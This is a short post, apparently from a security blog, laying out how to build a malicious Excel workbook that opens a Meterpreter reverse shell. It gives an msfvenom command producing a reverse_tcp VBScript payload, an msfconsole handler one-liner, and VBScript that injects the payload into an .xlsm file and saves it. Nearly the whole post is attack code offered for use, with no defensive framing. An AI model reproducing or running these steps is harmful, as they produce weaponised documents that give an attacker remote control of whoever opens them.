Meterpreter Reverse Shell VBScript

Start

‘This code is used to create a reverse shell from a Microsoft Excel spreadsheet

‘Open a command prompt
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f vbs > reverse_shell.vbs

‘Start metasploit
msfconsole -x “use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST ; set LPORT ; exploit”

‘Open the spreadsheet
Dim objExcel
Set objExcel = CreateObject(“Excel.Application”)
objExcel.Visible=True
objExcel.Workbooks.Open(“C:\reverse_shell.xlsm”)

‘Insert the VBScript
Dim objVBSCode
Set objVBSCode = objExcel.ActiveWorkbook.VBProject.VBComponents.Add(1)
objVBSCode.CodeModule.AddFromFile “C:\reverse_shell.vbs”

‘Save the spreadsheet
objExcel.ActiveWorkbook.SaveAs “C:\reverse_shell.xlsm”,52

‘Close the spreadsheet
objExcel.ActiveWorkbook.Close
objExcel.Quit

Previous Story

Code to download CVE database every 24 hours

Next Story

Hive ransomware servers shut down at last, says FBI